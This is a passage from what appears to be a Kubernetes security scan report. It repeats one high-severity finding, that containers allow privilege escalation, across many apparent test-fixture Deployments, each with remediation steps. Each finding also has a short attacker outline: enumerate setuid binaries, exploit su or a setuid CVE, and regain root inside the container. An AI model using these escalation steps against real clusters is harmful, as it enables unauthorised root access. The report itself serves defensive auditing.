  3. Exploit one: su - if password-less, or a known setuid CVE.
  4. Once root in-container, restore previously-dropped capabilities via setcap-style techniques or chain with another finding.
Remediation
Set allowPrivilegeEscalation: false on every container.
  1. Add allowPrivilegeEscalation: false to each container's securityContext. Pair with capabilities.drop: [ALL] and runAsNonRoot: true.
  2. Build/pull images that don't contain setuid binaries; alternatively strip setuid bits in Dockerfile (find / -perm -4000 -exec chmod u-s {} +).
  3. Apply Pod Security Admission restricted to the namespace.
  4. Validate: kubectl get pod -n flat-network -l <selector> -o jsonpath='{.items[*].spec.containers[*].securityContext.allowPrivilegeEscalation}' returns false for every container.
Evidence
Containerapp
Show raw JSON
{
  "container": "app"
}
HIGH Deployment/ingress-only/ingress-app Workload 7.8
Container app allows privilege escalation in Deployment/ingress-only/ingress-app
Scope · Workload Workload Deployment/ingress-only/ingress-app
Category: Privilege Escalation Resource: Deployment/ingress-only/ingress-app Namespace: ingress-only

Container app in Deployment/ingress-only/ingress-app either omits securityContext.allowPrivilegeEscalation or sets it to true. This directly controls the no_new_privs Linux process flag: when allowPrivilegeEscalation: false, the kernel sets NoNewPrivs: 1 on PID 1 in the container, and any subsequent execve() call cannot acquire additional privileges via setuid/setgid binaries, file capabilities, or LSM transitions.

Leaving the field unset is dangerous because the runtime default is true for backward compatibility. If the container image happens to contain a setuid binary (even an inadvertent one from the base image, like mount, ping, su, or vendor agent helpers), an attacker who lands as a non-root user inside the container can re-acquire root just by exec'ing it.

The Pod Security Standards Restricted profile mandates allowPrivilegeEscalation: false precisely because it is the gate that makes capability drops and runAsNonRoot meaningful.

Impact If an attacker lands as a non-root user, they can re-acquire root via setuid binaries; defeats capability drops and runAsNonRoot defenses.
How an attacker abuses this
Background
ResourceDeployment

A Deployment manages a ReplicaSet which manages Pods. The dangerous attribute lives on the pod template: every replica inherits the same ServiceAccount, the same securityContext, and the same volume mounts. A risky pod template multiplies into N risky pods.

Kubernetes docs ↗
  1. Gain code execution as a non-root user (web RCE in a Node/Python/Java app).
  2. Enumerate setuid binaries: find / -perm -4000 -type f 2>/dev/null (often returns /usr/bin/passwd, /bin/su, /bin/mount, /usr/bin/newuidmap).
  3. Exploit one: su - if password-less, or a known setuid CVE.
  4. Once root in-container, restore previously-dropped capabilities via setcap-style techniques or chain with another finding.
Remediation
Set allowPrivilegeEscalation: false on every container.
  1. Add allowPrivilegeEscalation: false to each container's securityContext. Pair with capabilities.drop: [ALL] and runAsNonRoot: true.
  2. Build/pull images that don't contain setuid binaries; alternatively strip setuid bits in Dockerfile (find / -perm -4000 -exec chmod u-s {} +).
  3. Apply Pod Security Admission restricted to the namespace.
  4. Validate: kubectl get pod -n ingress-only -l <selector> -o jsonpath='{.items[*].spec.containers[*].securityContext.allowPrivilegeEscalation}' returns false for every container.
Evidence
Containerapp
Show raw JSON
{
  "container": "app"
}
HIGH Deployment/lp-fixtures/lp-narrow-app Workload 7.8
Container app allows privilege escalation in Deployment/lp-fixtures/lp-narrow-app
Scope · Workload Workload Deployment/lp-fixtures/lp-narrow-app
Category: Privilege Escalation Resource: Deployment/lp-fixtures/lp-narrow-app Namespace: lp-fixtures

Container app in Deployment/lp-fixtures/lp-narrow-app either omits securityContext.allowPrivilegeEscalation or sets it to true. This directly controls the no_new_privs Linux process flag: when allowPrivilegeEscalation: false, the kernel sets NoNewPrivs: 1 on PID 1 in the container, and any subsequent execve() call cannot acquire additional privileges via setuid/setgid binaries, file capabilities, or LSM transitions.

Leaving the field unset is dangerous because the runtime default is true for backward compatibility. If the container image happens to contain a setuid binary (even an inadvertent one from the base image, like mount, ping, su, or vendor agent helpers), an attacker who lands as a non-root user inside the container can re-acquire root just by exec'ing it.

The Pod Security Standards Restricted profile mandates allowPrivilegeEscalation: false precisely because it is the gate that makes capability drops and runAsNonRoot meaningful.

Impact If an attacker lands as a non-root user, they can re-acquire root via setuid binaries; defeats capability drops and runAsNonRoot defenses.
How an attacker abuses this
Background
ResourceDeployment

A Deployment manages a ReplicaSet which manages Pods. The dangerous attribute lives on the pod template: every replica inherits the same ServiceAccount, the same securityContext, and the same volume mounts. A risky pod template multiplies into N risky pods.

Kubernetes docs ↗
  1. Gain code execution as a non-root user (web RCE in a Node/Python/Java app).
  2. Enumerate setuid binaries: find / -perm -4000 -type f 2>/dev/null (often returns /usr/bin/passwd, /bin/su, /bin/mount, /usr/bin/newuidmap).
  3. Exploit one: su - if password-less, or a known setuid CVE.
  4. Once root in-container, restore previously-dropped capabilities via setcap-style techniques or chain with another finding.
Remediation
Set allowPrivilegeEscalation: false on every container.
  1. Add allowPrivilegeEscalation: false to each container's securityContext. Pair with capabilities.drop: [ALL] and runAsNonRoot: true.
  2. Build/pull images that don't contain setuid binaries; alternatively strip setuid bits in Dockerfile (find / -perm -4000 -exec chmod u-s {} +).
  3. Apply Pod Security Admission restricted to the namespace.
  4. Validate: kubectl get pod -n lp-fixtures -l <selector> -o jsonpath='{.items[*].spec.containers[*].securityContext.allowPrivilegeEscalation}' returns false for every container.
Evidence
Containerapp
Show raw JSON
{
  "container": "app"
}
HIGH Deployment/lp-fixtures/lp-orphan-app Workload 7.8
Container app allows privilege escalation in Deployment/lp-fixtures/lp-orphan-app
Scope · Workload Workload Deployment/lp-fixtures/lp-orphan-app
Category: Privilege Escalation Resource: Deployment/lp-fixtures/lp-orphan-app Namespace: lp-fixtures

Container app in Deployment/lp-fixtures/lp-orphan-app either omits securityContext.allowPrivilegeEscalation or sets it to true. This directly controls the no_new_privs Linux process flag: when allowPrivilegeEscalation: false, the kernel sets NoNewPrivs: 1 on PID 1 in the container, and any subsequent execve() call cannot acquire additional privileges via setuid/setgid binaries, file capabilities, or LSM transitions.

Leaving the field unset is dangerous because the runtime default is true for backward compatibility. If the container image happens to contain a setuid binary (even an inadvertent one from the base image, like mount, ping, su, or vendor agent helpers), an attacker who lands as a non-root user inside the container can re-acquire root just by exec'ing it.

The Pod Security Standards Restricted profile mandates allowPrivilegeEscalation: false precisely because it is the gate that makes capability drops and runAsNonRoot meaningful.

Impact If an attacker lands as a non-root user, they can re-acquire root via setuid binaries; defeats capability drops and runAsNonRoot defenses.
How an attacker abuses this
Background
ResourceDeployment

A Deployment manages a ReplicaSet which manages Pods. The dangerous attribute lives on the pod template: every replica inherits the same ServiceAccount, the same securityContext, and the same volume mounts. A risky pod template multiplies into N risky pods.

Kubernetes docs ↗
  1. Gain code execution as a non-root user (web RCE in a Node/Python/Java app).
  2. Enumerate setuid binaries: find / -perm -4000 -type f 2>/dev/null (often returns /usr/bin/passwd, /bin/su, /bin/mount, /usr/bin/newuidmap).
  3. Exploit one: su - if password-less, or a known setuid CVE.
  4. Once root in-container, restore previously-dropped capabilities via setcap-style techniques or chain with another finding.
Remediation
Set allowPrivilegeEscalation: false on every container.
  1. Add allowPrivilegeEscalation: false to each container's securityContext. Pair with capabilities.drop: [ALL] and runAsNonRoot: true.
  2. Build/pull images that don't contain setuid binaries; alternatively strip setuid bits in Dockerfile (find / -perm -4000 -exec chmod u-s {} +).
  3. Apply Pod Security Admission restricted to the namespace.
  4. Validate: kubectl get pod -n lp-fixtures -l <selector> -o jsonpath='{.items[*].spec.containers[*].securityContext.allowPrivilegeEscalation}' returns false for every container.
Evidence
Containerapp
Show raw JSON
{
  "container": "app"
}
HIGH Deployment/lp-fixtures/lp-wildcard-app Workload 7.8
Container app allows privilege escalation in Deployment/lp-fixtures/lp-wildcard-app
Scope · Workload Workload Deployment/lp-fixtures/lp-wildcard-app
Category: Privilege Escalation Resource: Deployment/lp-fixtures/lp-wildcard-app Namespace: lp-fixtures

Container app in Deployment/lp-fixtures/lp-wildcard-app either omits securityContext.allowPrivilegeEscalation or sets it to true. This directly controls the no_new_privs Linux process flag: when allowPrivilegeEscalation: false, the kernel sets NoNewPrivs: 1 on PID 1 in the container, and any subsequent execve() call cannot acquire additional privileges via setuid/setgid binaries, file capabilities, or LSM transitions.

Leaving the field unset is dangerous because the runtime default is true for backward compatibility. If the container image happens to contain a setuid binary (even an inadvertent one from the base image, like mount, ping, su, or vendor agent helpers), an attacker who lands as a non-root user inside the container can re-acquire root just by exec'ing it.

The Pod Security Standards Restricted profile mandates allowPrivilegeEscalation: false precisely because it is the gate that makes capability drops and runAsNonRoot meaningful.

Impact If an attacker lands as a non-root user, they can re-acquire root via setuid binaries; defeats capability drops and runAsNonRoot defenses.
How an attacker abuses this
Background
ResourceDeployment

A Deployment manages a ReplicaSet which manages Pods. The dangerous attribute lives on the pod template: every replica inherits the same ServiceAccount, the same securityContext, and the same volume mounts. A risky pod template multiplies into N risky pods.

Kubernetes docs ↗
  1. Gain code execution as a non-root user (web RCE in a Node/Python/Java app).
  2. Enumerate setuid binaries: find / -perm -4000 -type f 2>/dev/null (often returns /usr/bin/passwd, /bin/su, /bin/mount, /usr/bin/newuidmap).
  3. Exploit one: su - if password-less, or a known setuid CVE.
  4. Once root in-container, restore previously-dropped capabilities via setcap-style techniques or chain with another finding.
Remediation
Set allowPrivilegeEscalation: false on every container.
  1. Add allowPrivilegeEscalation: false to each container's securityContext. Pair with capabilities.drop: [ALL] and runAsNonRoot: true.
  2. Build/pull images that don't contain setuid binaries; alternatively strip setuid bits in Dockerfile (find / -perm -4000 -exec chmod u-s {} +).
  3. Apply Pod Security Admission restricted to the namespace.
  4. Validate: kubectl get pod -n lp-fixtures -l <selector> -o jsonpath='{.items[*].spec.containers[*].securityContext.allowPrivilegeEscalation}' returns false for every container.
Evidence
Containerapp
Show raw JSON
{
  "container": "app"
}
HIGH Deployment/netpol-imds/imds-allow-app Workload 7.8
Container app allows privilege escalation in Deployment/netpol-imds/imds-allow-app
Scope · Workload Workload Deployment/netpol-imds/imds-allow-app
Category: Privilege Escalation Resource: Deployment/netpol-imds/imds-allow-app Namespace: netpol-imds

Container app in Deployment/netpol-imds/imds-allow-app either omits securityContext.allowPrivilegeEscalation or sets it to true. This directly controls the no_new_privs Linux process flag: when allowPrivilegeEscalation: false, the kernel sets NoNewPrivs: 1 on PID 1 in the container, and any subsequent execve() call cannot acquire additional privileges via setuid/setgid binaries, file capabilities, or LSM transitions.

Leaving the field unset is dangerous because the runtime default is true for backward compatibility. If the container image happens to contain a setuid binary (even an inadvertent one from the base image, like mount, ping, su, or vendor agent helpers), an attacker who lands as a non-root user inside the container can re-acquire root just by exec'ing it.

The Pod Security Standards Restricted profile mandates allowPrivilegeEscalation: false precisely because it is the gate that makes capability drops and runAsNonRoot meaningful.

Impact If an attacker lands as a non-root user, they can re-acquire root via setuid binaries; defeats capability drops and runAsNonRoot defenses.
How an attacker abuses this
Background
ResourceDeployment

A Deployment manages a ReplicaSet which manages Pods. The dangerous attribute lives on the pod template: every replica inherits the same ServiceAccount, the same securityContext, and the same volume mounts. A risky pod template multiplies into N risky pods.

Kubernetes docs ↗
  1. Gain code execution as a non-root user (web RCE in a Node/Python/Java app).
  2. Enumerate setuid binaries: find / -perm -4000 -type f 2>/dev/null (often returns /usr/bin/passwd, /bin/su, /bin/mount, /usr/bin/newuidmap).
  3. Exploit one: su - if password-less, or a known setuid CVE.
  4. Once root in-container, restore previously-dropped capabilities via setcap-style techniques or chain with another finding.
Remediation
Set allowPrivilegeEscalation: false on every container.
  1. Add allowPrivilegeEscalation: false to each container's securityContext. Pair with capabilities.drop: [ALL] and runAsNonRoot: true.
  2. Build/pull images that don't contain setuid binaries; alternatively strip setuid bits in Dockerfile (find / -perm -4000 -exec chmod u-s {} +).
  3. Apply Pod Security Admission restricted to the namespace.
  4. Validate: kubectl get pod -n netpol-imds -l <selector> -o jsonpath='{.items[*].spec.containers[*].securityContext.allowPrivilegeEscalation}' returns false for every container.
Evidence
Containerapp
Show raw JSON
{
  "container": "app"
}
HIGH Deployment/netpol-imds/imds-open-app Workload 7.8
Container app allows privilege escalation in Deployment/netpol-imds/imds-open-app
Scope · Workload Workload Deployment/netpol-imds/imds-open-app
Category: Privilege Escalation Resource: Deployment/netpol-imds/imds-open-app Namespace: netpol-imds

Container app in Deployment/netpol-imds/imds-open-app either omits securityContext.allowPrivilegeEscalation or sets it to true. This directly controls the no_new_privs Linux process flag: when allowPrivilegeEscalation: false, the kernel sets NoNewPrivs: 1 on PID 1 in the container, and any subsequent execve() call cannot acquire additional privileges via setuid/setgid binaries, file capabilities, or LSM transitions.

Leaving the field unset is dangerous because the runtime default is true for backward compatibility. If the container image happens to contain a setuid binary (even an inadvertent one from the base image, like mount, ping, su, or vendor agent helpers), an attacker who lands as a non-root user inside the container can re-acquire root just by exec'ing it.

The Pod Security Standards Restricted profile mandates allowPrivilegeEscalation: false precisely because it is the gate that makes capability drops and runAsNonRoot meaningful.

Impact If an attacker lands as a non-root user, they can re-acquire root via setuid binaries; defeats capability drops and runAsNonRoot defenses.
How an attacker abuses this
Background
ResourceDeployment

A Deployment manages a ReplicaSet which manages Pods. The dangerous attribute lives on the pod template: every replica inherits the same ServiceAccount, the same securityContext, and the same volume mounts. A risky pod template multiplies into N risky pods.

Kubernetes docs ↗
  1. Gain code execution as a non-root user (web RCE in a Node/Python/Java app).
  2. Enumerate setuid binaries: find / -perm -4000 -type f 2>/dev/null (often returns /usr/bin/passwd, /bin/su, /bin/mount, /usr/bin/newuidmap).
  3. Exploit one: su - if password-less, or a known setuid CVE.
  4. Once root in-container, restore previously-dropped capabilities via setcap-style techniques or chain with another finding.
Remediation
Set allowPrivilegeEscalation: false on every container.
  1. Add allowPrivilegeEscalation: false to each container's securityContext. Pair with capabilities.drop: [ALL] and runAsNonRoot: true.
  2. Build/pull images that don't contain setuid binaries; alternatively strip setuid bits in Dockerfile (find / -perm -4000 -exec chmod u-s {} +).
  3. Apply Pod Security Admission restricted to the namespace.
  4. Validate: kubectl get pod -n netpol-imds -l <selector> -o jsonpath='{.items[*].spec.containers[*].securityContext.allowPrivilegeEscalation}' returns false for every container.
Evidence
Containerapp
Show raw JSON
{
  "container": "app"
}
HIGH Deployment/psa-unlabeled-fixtures/psa-unlabeled-app Workload 7.8
Container app allows privilege escalation in Deployment/psa-unlabeled-fixtures/psa-unlabeled-app
Scope · Workload Workload Deployment/psa-unlabeled-fixtures/psa-unlabeled-app
Category: Privilege Escalation Resource: Deployment/psa-unlabeled-fixtures/psa-unlabeled-app Namespace: psa-unlabeled-fixtures

Container app in Deployment/psa-unlabeled-fixtures/psa-unlabeled-app either omits securityContext.allowPrivilegeEscalation or sets it to true. This directly controls the no_new_privs Linux process flag: when allowPrivilegeEscalation: false, the kernel sets NoNewPrivs: 1 on PID 1 in the container, and any subsequent execve() call cannot acquire additional privileges via setuid/setgid binaries, file capabilities, or LSM transitions.

Leaving the field unset is dangerous because the runtime default is true for backward compatibility. If the container image happens to contain a setuid binary (even an inadvertent one from the base image, like mount, ping, su, or vendor agent helpers), an attacker who lands as a non-root user inside the container can re-acquire root just by exec'ing it.

The Pod Security Standards Restricted profile mandates allowPrivilegeEscalation: false precisely because it is the gate that makes capability drops and runAsNonRoot meaningful.

Impact If an attacker lands as a non-root user, they can re-acquire root via setuid binaries; defeats capability drops and runAsNonRoot defenses.
How an attacker abuses this
Background
ResourceDeployment

A Deployment manages a ReplicaSet which manages Pods. The dangerous attribute lives on the pod template: every replica inherits the same ServiceAccount, the same securityContext, and the same volume mounts. A risky pod template multiplies into N risky pods.

Kubernetes docs ↗
  1. Gain code execution as a non-root user (web RCE in a Node/Python/Java app).
  2. Enumerate setuid binaries: find / -perm -4000 -type f 2>/dev/null (often returns /usr/bin/passwd, /bin/su, /bin/mount, /usr/bin/newuidmap).
  3. Exploit one: su - if password-less, or a known setuid CVE.
  4. Once root in-container, restore previously-dropped capabilities via setcap-style techniques or chain with another finding.
Remediation
Set allowPrivilegeEscalation: false on every container.
  1. Add allowPrivilegeEscalation: false to each container's securityContext. Pair with capabilities.drop: [ALL] and runAsNonRoot: true.
  2. Build/pull images that don't contain setuid binaries; alternatively strip setuid bits in Dockerfile (find / -perm -4000 -exec chmod u-s {} +).
  3. Apply Pod Security Admission restricted to the namespace.
  4. Validate: kubectl get pod -n psa-unlabeled-fixtures -l <selector> -o jsonpath='{.items[*].spec.containers[*].securityContext.allowPrivilegeEscalation}' returns false for every container.
Evidence
Containerapp
Show raw JSON
{
  "container": "app"
}
HIGH Deployment/rbac-fixtures/imp-app Workload 7.8
Container app allows privilege escalation in Deployment/rbac-fixtures/imp-app
Scope · Workload Workload Deployment/rbac-fixtures/imp-app
Category: Privilege Escalation Resource: Deployment/rbac-fixtures/imp-app Namespace: rbac-fixtures

Container app in Deployment/rbac-fixtures/imp-app either omits securityContext.allowPrivilegeEscalation or sets it to true. This directly controls the no_new_privs Linux process flag: when allowPrivilegeEscalation: false, the kernel sets NoNewPrivs: 1 on PID 1 in the container, and any subsequent execve() call cannot acquire additional privileges via setuid/setgid binaries, file capabilities, or LSM transitions.

Leaving the field unset is dangerous because the runtime default is true for backward compatibility. If the container image happens to contain a setuid binary (even an inadvertent one from the base image, like mount, ping, su, or vendor agent helpers), an attacker who lands as a non-root user inside the container can re-acquire root just by exec'ing it.

The Pod Security Standards Restricted profile mandates allowPrivilegeEscalation: false precisely because it is the gate that makes capability drops and runAsNonRoot meaningful.

Impact If an attacker lands as a non-root user, they can re-acquire root via setuid binaries; defeats capability drops and runAsNonRoot defenses.
How an attacker abuses this
Background
ResourceDeployment

A Deployment manages a ReplicaSet which manages Pods. The dangerous attribute lives on the pod template: every replica inherits the same ServiceAccount, the same securityContext, and the same volume mounts. A risky pod template multiplies into N risky pods.

Kubernetes docs ↗
  1. Gain code execution as a non-root user (web RCE in a Node/Python/Java app).
  2. Enumerate setuid binaries: find / -perm -4000 -type f 2>/dev/null (often returns /usr/bin/passwd, /bin/su, /bin/mount, /usr/bin/newuidmap).
  3. Exploit one: su - if password-less, or a known setuid CVE.
  4. Once root in-container, restore previously-dropped capabilities via setcap-style techniques or chain with another finding.
Remediation
Set allowPrivilegeEscalation: false on every container.
  1. Add allowPrivilegeEscalation: false to each container's securityContext. Pair with capabilities.drop: [ALL] and runAsNonRoot: true.
  2. Build/pull images that don't contain setuid binaries; alternatively strip setuid bits in Dockerfile (find / -perm -4000 -exec chmod u-s {} +).
  3. Apply Pod Security Admission restricted to the namespace.
  4. Validate: kubectl get pod -n rbac-fixtures -l <selector> -o jsonpath='{.items[*].spec.containers[*].securityContext.allowPrivilegeEscalation}' returns false for every container.
Evidence
Containerapp
Show raw JSON
{
  "container": "app"
}
HIGH Deployment/rbac-fixtures/wildcard-app Workload 7.8
Container app allows privilege escalation in Deployment/rbac-fixtures/wildcard-app
Scope · Workload Workload Deployment/rbac-fixtures/wildcard-app
Category: Privilege Escalation Resource: Deployment/rbac-fixtures/wildcard-app Namespace: rbac-fixtures

Container app in Deployment/rbac-fixtures/wildcard-app either omits securityContext.allowPrivilegeEscalation or sets it to true. This directly controls the no_new_privs Linux process flag: when allowPrivilegeEscalation: false, the kernel sets NoNewPrivs: 1 on PID 1 in the container, and any subsequent execve() call cannot acquire additional privileges via setuid/setgid binaries, file capabilities, or LSM transitions.

Leaving the field unset is dangerous because the runtime default is true for backward compatibility. If the container image happens to contain a setuid binary (even an inadvertent one from the base image, like mount, ping, su, or vendor agent helpers), an attacker who lands as a non-root user inside the container can re-acquire root just by exec'ing it.

The Pod Security Standards Restricted profile mandates allowPrivilegeEscalation: false precisely because it is the gate that makes capability drops and runAsNonRoot meaningful.

Impact If an attacker lands as a non-root user, they can re-acquire root via setuid binaries; defeats capability drops and runAsNonRoot defenses.
How an attacker abuses this
Background
ResourceDeployment

A Deployment manages a ReplicaSet which manages Pods. The dangerous attribute lives on the pod template: every replica inherits the same ServiceAccount, the same securityContext, and the same volume mounts. A risky pod template multiplies into N risky pods.

Kubernetes docs ↗
  1. Gain code execution as a non-root user (web RCE in a Node/Python/Java app).
  2. Enumerate setuid binaries: find / -perm -4000 -type f 2>/dev/null (often returns /usr/bin/passwd, /bin/su, /bin/mount, /usr/bin/newuidmap).
  3. Exploit one: su - if password-less, or a known setuid CVE.
  4. Once root in-container, restore previously-dropped capabilities via setcap-style techniques or chain with another finding.
Remediation
Set allowPrivilegeEscalation: false on every container.
  1. Add allowPrivilegeEscalation: false to each container's securityContext. Pair with capabilities.drop: [ALL] and runAsNonRoot: true.
  2. Build/pull images that don't contain setuid binaries; alternatively strip setuid bits in Dockerfile (find / -perm -4000 -exec chmod u-s {} +).
  3. Apply Pod Security Admission restricted to the namespace.
  4. Validate: kubectl get pod -n rbac-fixtures -l <selector> -o jsonpath='{.items[*].spec.containers[*].securityContext.allowPrivilegeEscalation}' returns false for every container.
Evidence
Containerapp
Show raw JSON
{
  "container": "app"
}
HIGH Deployment/vulnerable/generic-hostpath-app Workload 7.8
Container app allows privilege escalation in Deployment/vulnerable/generic-hostpath-app
Scope · Workload Workload Deployment/vulnerable/generic-hostpath-app
Category: Privilege Escalation Resource: Deployment/vulnerable/generic-hostpath-app Namespace: vulnerable

Container app in Deployment/vulnerable/generic-hostpath-app either omits securityContext.allowPrivilegeEscalation or sets it to true. This directly controls the no_new_privs Linux process flag: when allowPrivilegeEscalation: false, the kernel sets NoNewPrivs: 1 on PID 1 in the container, and any subsequent execve() call cannot acquire additional privileges via setuid/setgid binaries, file capabilities, or LSM transitions.

Leaving the field unset is dangerous because the runtime default is true for backward compatibility. If the container image happens to contain a setuid binary (even an inadvertent one from the base image, like mount, ping, su, or vendor agent helpers), an attacker who lands as a non-root user inside the container can re-acquire root just by exec'ing it.

The Pod Security Standards Restricted profile mandates allowPrivilegeEscalation: false precisely because it is the gate that makes capability drops and runAsNonRoot meaningful.

Impact If an attacker lands as a non-root user, they can re-acquire root via setuid binaries; defeats capability drops and runAsNonRoot defenses.
How an attacker abuses this
Background
ResourceDeployment

A Deployment manages a ReplicaSet which manages Pods. The dangerous attribute lives on the pod template: every replica inherits the same ServiceAccount, the same securityContext, and the same volume mounts. A risky pod template multiplies into N risky pods.

Kubernetes docs ↗
  1. Gain code execution as a non-root user (web RCE in a Node/Python/Java app).
  2. Enumerate setuid binaries: find / -perm -4000 -type f 2>/dev/null (often returns /usr/bin/passwd, /bin/su, /bin/mount, /usr/bin/newuidmap).
  3. Exploit one: su - if password-less, or a known setuid CVE.
  4. Once root in-container, restore previously-dropped capabilities via setcap-style techniques or chain with another finding.
Remediation
Set allowPrivilegeEscalation: false on every container.
  1. Add allowPrivilegeEscalation: false to each container's securityContext. Pair with capabilities.drop: [ALL] and runAsNonRoot: true.
  2. Build/pull images that don't contain setuid binaries; alternatively strip setuid bits in Dockerfile (find / -perm -4000 -exec chmod u-s {} +).
  3. Apply Pod Security Admission restricted to the namespace.
  4. Validate: kubectl get pod -n vulnerable -l <selector> -o jsonpath='{.items[*].spec.containers[*].securityContext.allowPrivilegeEscalation}' returns false for every container.
Evidence
Containerapp
Show raw JSON
{
  "container": "app"
}
HIGH Deployment/vulnerable/host-ns-app Workload 7.8
Container app allows privilege escalation in Deployment/vulnerable/host-ns-app
Scope · Workload Workload Deployment/vulnerable/host-ns-app
Category: Privilege Escalation Resource: Deployment/vulnerable/host-ns-app Namespace: vulnerable

Container app in Deployment/vulnerable/host-ns-app either omits securityContext.allowPrivilegeEscalation or sets it to true. This directly controls the no_new_privs Linux process flag: when allowPrivilegeEscalation: false, the kernel sets NoNewPrivs: 1 on PID 1 in the container, and any subsequent execve() call cannot acquire additional privileges via setuid/setgid binaries, file capabilities, or LSM transitions.

Leaving the field unset is dangerous because the runtime default is true for backward compatibility. If the container image happens to contain a setuid binary (even an inadvertent one from the base image, like mount, ping, su, or vendor agent helpers), an attacker who lands as a non-root user inside the container can re-acquire root just by exec'ing it.

The Pod Security Standards Restricted profile mandates allowPrivilegeEscalation: false precisely because it is the gate that makes capability drops and runAsNonRoot meaningful.

Impact If an attacker lands as a non-root user, they can re-acquire root via setuid binaries; defeats capability drops and runAsNonRoot defenses.
How an attacker abuses this
Background
ResourceDeployment

A Deployment manages a ReplicaSet which manages Pods. The dangerous attribute lives on the pod template: every replica inherits the same ServiceAccount, the same securityContext, and the same volume mounts. A risky pod template multiplies into N risky pods.

Kubernetes docs ↗
  1. Gain code execution as a non-root user (web RCE in a Node/Python/Java app).
  2. Enumerate setuid binaries: find / -perm -4000 -type f 2>/dev/null (often returns /usr/bin/passwd, /bin/su, /bin/mount, /usr/bin/newuidmap).
  3. Exploit one: su - if password-less, or a known setuid CVE.
  4. Once root in-container, restore previously-dropped capabilities via setcap-style techniques or chain with another finding.
Remediation
Set allowPrivilegeEscalation: false on every container.
  1. Add allowPrivilegeEscalation: false to each container's securityContext. Pair with capabilities.drop: [ALL] and runAsNonRoot: true.
  2. Build/pull images that don't contain setuid binaries; alternatively strip setuid bits in Dockerfile (find / -perm -4000 -exec chmod u-s {} +).
  3. Apply Pod Security Admission restricted to the namespace.
  4. Validate: kubectl get pod -n vulnerable -l <selector> -o jsonpath='{.items[*].spec.containers[*].securityContext.allowPrivilegeEscalation}' returns false for every container.
Evidence
Containerapp
Show raw JSON
{
  "container": "app"
}
HIGH Deployment/vulnerable/risky-app Workload 7.8
Container app allows privilege escalation in Deployment/vulnerable/risky-app
Scope · Workload Workload Deployment/vulnerable/risky-app
Category: Privilege Escalation Resource: Deployment/vulnerable/risky-app Namespace: vulnerable

Container app in Deployment/vulnerable/risky-app either omits securityContext.allowPrivilegeEscalation or sets it to true. This directly controls the no_new_privs Linux process flag: when allowPrivilegeEscalation: false, the kernel sets NoNewPrivs: 1 on PID 1 in the container, and any subsequent execve() call cannot acquire additional privileges via setuid/setgid binaries, file capabilities, or LSM transitions.

Leaving the field unset is dangerous because the runtime default is true for backward compatibility. If the container image happens to contain a setuid binary (even an inadvertent one from the base image, like mount, ping, su, or vendor agent helpers), an attacker who lands as a non-root user inside the container can re-acquire root just by exec'ing it.

The Pod Security Standards Restricted profile mandates allowPrivilegeEscalation: false precisely because it is the gate that makes capability drops and runAsNonRoot meaningful.

Impact If an attacker lands as a non-root user, they can re-acquire root via setuid binaries; defeats capability drops and runAsNonRoot defenses.
How an attacker abuses this
Background
ResourceDeployment

A Deployment manages a ReplicaSet which manages Pods. The dangerous attribute lives on the pod template: every replica inherits the same ServiceAccount, the same securityContext, and the same volume mounts. A risky pod template multiplies into N risky pods.

Kubernetes docs ↗
  1. Gain code execution as a non-root user (web RCE in a Node/Python/Java app).
  2. Enumerate setuid binaries: find / -perm -4000 -type f 2>/dev/null (often returns /usr/bin/passwd, /bin/su, /bin/mount, /usr/bin/newuidmap).
  3. Exploit one: su - if password-less, or a known setuid CVE.
  4. Once root in-container, restore previously-dropped capabilities via setcap-style techniques or chain with another finding.
Remediation
Set allowPrivilegeEscalation: false on every container.
  1. Add allowPrivilegeEscalation: false to each container's securityContext. Pair with capabilities.drop: [ALL] and runAsNonRoot: true.
  2. Build/pull images that don't contain setuid binaries; alternatively strip setuid bits in Dockerfile (find / -perm -4000 -exec chmod u-s {} +).
  3. Apply Pod Security Admission restricted to the namespace.
  4. Validate: kubectl get pod -n vulnerable -l <selector> -o jsonpath='{.items[*].spec.containers[*].securityContext.allowPrivilegeEscalation}' returns false for every container.
Evidence
Containerapp
Show raw JSON
{
  "container": "app"
}
HIGH Deployment/vulnerable/root-runner Workload 7.8
Container app allows privilege escalation in Deployment/vulnerable/root-runner
Scope · Workload Workload Deployment/vulnerable/root-runner
Category: Privilege Escalation Resource: Deployment/vulnerable/root-runner Namespace: vulnerable

Container app in Deployment/vulnerable/root-runner either omits securityContext.allowPrivilegeEscalation or sets it to true. This directly controls the no_new_privs Linux process flag: when allowPrivilegeEscalation: false, the kernel sets NoNewPrivs: 1 on PID 1 in the container, and any subsequent execve() call cannot acquire additional privileges via setuid/setgid binaries, file capabilities, or LSM transitions.

Leaving the field unset is dangerous because the runtime default is true for backward compatibility. If the container image happens to contain a setuid binary (even an inadvertent one from the base image, like mount, ping, su, or vendor agent helpers), an attacker who lands as a non-root user inside the container can re-acquire root just by exec'ing it.

The Pod Security Standards Restricted profile mandates allowPrivilegeEscalation: false precisely because it is the gate that makes capability drops and runAsNonRoot meaningful.

Impact If an attacker lands as a non-root user, they can re-acquire root via setuid binaries; defeats capability drops and runAsNonRoot defenses.
How an attacker abuses this
Background
ResourceDeployment

A Deployment manages a ReplicaSet which manages Pods. The dangerous attribute lives on the pod template: every replica inherits the same ServiceAccount, the same securityContext, and the same volume mounts. A risky pod template multiplies into N risky pods.

Kubernetes docs ↗
  1. Gain code execution as a non-root user (web RCE in a Node/Python/Java app).
  2. Enumerate setuid binaries: find / -perm -4000 -type f 2>/dev/null (often returns /usr/bin/passwd, /bin/su, /bin/mount, /usr/bin/newuidmap).
  3. Exploit one: su - if password-less, or a known setuid CVE.
  4. Once root in-container, restore previously-dropped capabilities via setcap-style techniques or chain with another finding.
Remediation
Set allowPrivilegeEscalation: false on every container.
  1. Add allowPrivilegeEscalation: false to each container's securityContext. Pair with capabilities.drop: [ALL] and runAsNonRoot: true.
  2. Build/pull images that don't contain setuid binaries; alternatively strip setuid bits in Dockerfile (find / -perm -4000 -exec chmod u-s {} +).
  3. Apply Pod Security Admission restricted to the namespace.
  4. Validate: kubectl get pod -n vulnerable -l <selector> -o jsonpath='{.items[*].spec.containers[*].securityContext.allowPrivilegeEscalation}' returns false for every container.
Evidence
Containerapp
Show raw JSON
{
  "container": "app"
}
HIGH Deployment/vulnerable/socket-mounts-app Workload 7.8
Container app allows privilege escalation in Deployment/vulnerable/socket-mounts-app
Scope · Workload Workload Deployment/vulnerable/socket-mounts-app
Category: Privilege Escalation Resource: Deployment/vulnerable/socket-mounts-app Namespace: vulnerable

